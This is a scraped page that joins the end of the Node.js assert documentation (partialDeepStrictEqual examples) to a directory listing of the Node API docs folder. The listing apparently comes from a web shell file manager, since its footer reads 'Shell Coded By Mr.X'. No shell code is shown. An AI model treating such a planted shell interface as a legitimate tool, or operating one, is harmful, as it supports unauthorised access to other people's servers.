<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> lastIndex, flags, and source are always compared, even if these
are not enumerable properties.</li>
<li>Holes in sparse arrays are ignored.</li>
</ul>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: { <span class="hljs-attr">c</span>: <span class="hljs-number">1</span> } } },
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: { <span class="hljs-attr">c</span>: <span class="hljs-number">1</span> } } },
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">c</span>: <span class="hljs-number">3</span> },
  { <span class="hljs-attr">b</span>: <span class="hljs-number">2</span> },
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>],
  [<span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">8</span>],
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Set</span>([{ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">b</span>: <span class="hljs-number">1</span> }]),
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Set</span>([{ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }]),
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Map</span>([[<span class="hljs-string">'key1'</span>, <span class="hljs-string">'value1'</span>], [<span class="hljs-string">'key2'</span>, <span class="hljs-string">'value2'</span>]]),
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Map</span>([[<span class="hljs-string">'key2'</span>, <span class="hljs-string">'value2'</span>]]),
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(<span class="hljs-number">123n</span>, <span class="hljs-number">123n</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>],
  [<span class="hljs-number">5</span>, <span class="hljs-number">4</span>, <span class="hljs-number">8</span>],
);
<span class="hljs-comment">// AssertionError</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> },
  { <span class="hljs-attr">a</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">b</span>: <span class="hljs-number">2</span> },
);
<span class="hljs-comment">// AssertionError</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-number">2</span> } },
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-string">'2'</span> } },
);
<span class="hljs-comment">// AssertionError</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: { <span class="hljs-attr">c</span>: <span class="hljs-number">1</span> } } },
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: { <span class="hljs-attr">c</span>: <span class="hljs-number">1</span> } } },
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">b</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">c</span>: <span class="hljs-number">3</span> },
  { <span class="hljs-attr">b</span>: <span class="hljs-number">2</span> },
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>],
  [<span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">8</span>],
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Set</span>([{ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">b</span>: <span class="hljs-number">1</span> }]),
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Set</span>([{ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }]),
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Map</span>([[<span class="hljs-string">'key1'</span>, <span class="hljs-string">'value1'</span>], [<span class="hljs-string">'key2'</span>, <span class="hljs-string">'value2'</span>]]),
  <span class="hljs-keyword">new</span> <span class="hljs-title class_">Map</span>([[<span class="hljs-string">'key2'</span>, <span class="hljs-string">'value2'</span>]]),
);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(<span class="hljs-number">123n</span>, <span class="hljs-number">123n</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>],
  [<span class="hljs-number">5</span>, <span class="hljs-number">4</span>, <span class="hljs-number">8</span>],
);
<span class="hljs-comment">// AssertionError</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> },
  { <span class="hljs-attr">a</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">b</span>: <span class="hljs-number">2</span> },
);
<span class="hljs-comment">// AssertionError</span>

assert.<span class="hljs-title function_">partialDeepStrictEqual</span>(
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-number">2</span> } },
  { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-string">'2'</span> } },
);
<span class="hljs-comment">// AssertionError</span></code><button class="copy-button">copy</button></pre></div></section>
        <!-- API END -->
      </div>
    </div>
  </div>
</body>
</html>

Filemanager

DIR : / usr/ share/ doc/ nodejs/ api/
Name Type Size Permission Actions
assets Folder 0755
addons.html File 107.46 KB 0644
addons.json.gz File 11.01 KB 0644
addons.md File 39.89 KB 0644
all.html File 8.67 MB 0644
all.json.gz File 1.01 MB 0644
assert.html File 215.02 KB 0644
assert.json.gz File 15.05 KB 0644
assert.md File 72.71 KB 0644
async_context.html File 85.71 KB 0644
async_context.json.gz File 7.18 KB 0644
async_context.md File 25.17 KB 0644
async_hooks.html File 88.88 KB 0644
async_hooks.json.gz File 9.82 KB 0644
async_hooks.md File 30.52 KB 0644
buffer.html File 484.41 KB 0644
buffer.json.gz File 29.12 KB 0644
buffer.md File 149.42 KB 0644
child_process.html File 214.18 KB 0644
child_process.json.gz File 21.81 KB 0644
child_process.md File 83.3 KB 0644
cli.html File 258.67 KB 0644
cli.json.gz File 39.13 KB 0644
cli.md File 113.19 KB 0644
cluster.html File 92.16 KB 0644
cluster.json.gz File 9.46 KB 0644
cluster.md File 28.89 KB 0644
console.html File 63.73 KB 0644
console.json.gz File 6.28 KB 0644
console.md File 17.38 KB 0644
corepack.html File 15.56 KB 0644
corepack.json File 866 B 0644
corepack.md File 401 B 0644
crypto.html File 526.52 KB 0644
crypto.json.gz File 46.5 KB 0644
crypto.md File 193.72 KB 0644
debugger.html File 30.54 KB 0644
debugger.json.gz File 3.42 KB 0644
debugger.md File 7.88 KB 0644
deprecations.html File 237.81 KB 0644
deprecations.json.gz File 28.63 KB 0644
deprecations.md File 117.72 KB 0644
dgram.html File 93.62 KB 0644
dgram.json.gz File 10.63 KB 0644
dgram.md File 32.28 KB 0644
diagnostics_channel.html File 130.69 KB 0644
diagnostics_channel.json.gz File 10.38 KB 0644
diagnostics_channel.md File 39.31 KB 0644
dns.html File 150.29 KB 0644
dns.json.gz File 16.91 KB 0644
dns.md File 59.01 KB 0644
documentation.html File 27.74 KB 0644
documentation.json.gz File 2.57 KB 0644
documentation.md File 5.68 KB 0644
domain.html File 49.94 KB 0644
domain.json.gz File 6.21 KB 0644
domain.md File 15.21 KB 0644
embedding.html File 27.42 KB 0644
embedding.json.gz File 3.03 KB 0644
embedding.md File 6.74 KB 0644
environment_variables.html File 24.29 KB 0644
environment_variables.json.gz File 2.58 KB 0644
environment_variables.md File 5.08 KB 0644
errors.html File 337.36 KB 0644
errors.json.gz File 47.68 KB 0644
errors.md File 112.09 KB 0644
esm.html File 93.22 KB 0644
esm.json.gz File 16 KB 0644
esm.md File 44.27 KB 0644
events.html File 236.33 KB 0644
events.json.gz File 17.91 KB 0644
events.md File 68.71 KB 0644
fs.html File 666.11 KB 0644
fs.json.gz File 71.32 KB 0644
fs.md File 263.58 KB 0644
globals.html File 98.26 KB 0644
globals.json.gz File 12.43 KB 0644
globals.md File 29.48 KB 0644
http.html File 330.81 KB 0644
http.json.gz File 40 KB 0644
http.md File 126.6 KB 0644
http2.html File 389.2 KB 0644
http2.json.gz File 42.34 KB 0644
http2.md File 152.2 KB 0644
https.html File 72.6 KB 0644
https.json.gz File 6.21 KB 0644
https.md File 21.04 KB 0644
index.html File 13.9 KB 0644
index.json File 54 B 0644
index.md File 2.06 KB 0644
inspector.html File 65.18 KB 0644
inspector.json.gz File 5.74 KB 0644
inspector.md File 17.75 KB 0644
intl.html File 34.48 KB 0644
intl.json.gz File 4.12 KB 0644
intl.md File 11.49 KB 0644
module.html File 171.06 KB 0644
module.json.gz File 21.59 KB 0644
module.md File 69.85 KB 0644
modules.html File 96.67 KB 0644
modules.json.gz File 14.83 KB 0644
modules.md File 40.53 KB 0644
n-api.html File 432.96 KB 0644
n-api.json.gz File 55.7 KB 0644
n-api.md File 235.86 KB 0644
net.html File 167.45 KB 0644
net.json.gz File 20.51 KB 0644
net.md File 60.3 KB 0644
os.html File 74.59 KB 0644
os.json.gz File 9.18 KB 0644
os.md File 36.29 KB 0644
packages.html File 89.9 KB 0644
packages.json.gz File 13.05 KB 0644
packages.md File 38.8 KB 0644
path.html File 57.7 KB 0644
path.json.gz File 5.43 KB 0644
path.md File 16.48 KB 0644
perf_hooks.html File 187.34 KB 0644
perf_hooks.json.gz File 13.83 KB 0644
perf_hooks.md File 59.15 KB 0644
permissions.html File 29.01 KB 0644
permissions.json.gz File 3.64 KB 0644
permissions.md File 8.35 KB 0644
process.html File 343.73 KB 0644
process.json.gz File 37.12 KB 0644
process.md File 128.36 KB 0644
punycode.html File 27.65 KB 0644
punycode.json.gz File 2 KB 0644
punycode.md File 4.19 KB 0644
querystring.html File 29.92 KB 0644
querystring.json.gz File 2.65 KB 0644
querystring.md File 5.55 KB 0644
readline.html File 115.99 KB 0644
readline.json.gz File 11.81 KB 0644
readline.md File 41.32 KB 0644
repl.html File 96.41 KB 0644
repl.json.gz File 11.56 KB 0644
repl.md File 31.55 KB 0644
report.html File 101.16 KB 0644
report.json.gz File 7.44 KB 0644
report.md File 23.41 KB 0644
single-executable-applications.html File 52.13 KB 0644
single-executable-applications.json.gz File 6.77 KB 0644
single-executable-applications.md File 18.27 KB 0644
sqlite.html File 92.73 KB 0644
sqlite.json.gz File 11 KB 0644
sqlite.md File 34.86 KB 0644
stream.html File 412.01 KB 0644
stream.json.gz File 53.26 KB 0644
stream.md File 152.09 KB 0644
string_decoder.html File 28.31 KB 0644
string_decoder.json.gz File 1.59 KB 0644
string_decoder.md File 3.57 KB 0644
synopsis.html File 20.35 KB 0644
synopsis.json File 2.96 KB 0644
synopsis.md File 2.11 KB 0644
test.html File 343.78 KB 0644
test.json.gz File 31.84 KB 0644
test.md File 122.47 KB 0644
timers.html File 62.4 KB 0644
timers.json.gz File 5.33 KB 0644
timers.md File 16.76 KB 0644
tls.html File 203.47 KB 0644
tls.json.gz File 35.24 KB 0644
tls.md File 98.58 KB 0644
tracing.html File 43.55 KB 0644
tracing.json.gz File 3.58 KB 0644
tracing.md File 10.58 KB 0644
tty.html File 40.73 KB 0644
tty.json.gz File 3.88 KB 0644
tty.md File 9.56 KB 0644
typescript.html File 29.27 KB 0644
typescript.json.gz File 3.38 KB 0644
typescript.md File 7.69 KB 0644
url.html File 161.29 KB 0644
url.json.gz File 16.67 KB 0644
url.md File 57.4 KB 0644
util.html File 351.85 KB 0644
util.json.gz File 30.22 KB 0644
util.md File 114.07 KB 0644
v8.html File 134.81 KB 0644
v8.json.gz File 14.51 KB 0644
v8.md File 43.79 KB 0644
vm.html File 188 KB 0644
vm.json.gz File 22.9 KB 0644
vm.md File 80.88 KB 0644
wasi.html File 32.28 KB 0644
wasi.json.gz File 3.49 KB 0644
wasi.md File 8.25 KB 0644
webcrypto.html File 161.61 KB 0644
webcrypto.json.gz File 10.2 KB 0644
webcrypto.md File 47.22 KB 0644
webstreams.html File 165.16 KB 0644
webstreams.json.gz File 10.95 KB 0644
webstreams.md File 41.21 KB 0644
worker_threads.html File 169.32 KB 0644
worker_threads.json.gz File 17.33 KB 0644
worker_threads.md File 59.46 KB 0644
zlib.html File 156.29 KB 0644
zlib.json.gz File 12.86 KB 0644
zlib.md File 49 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X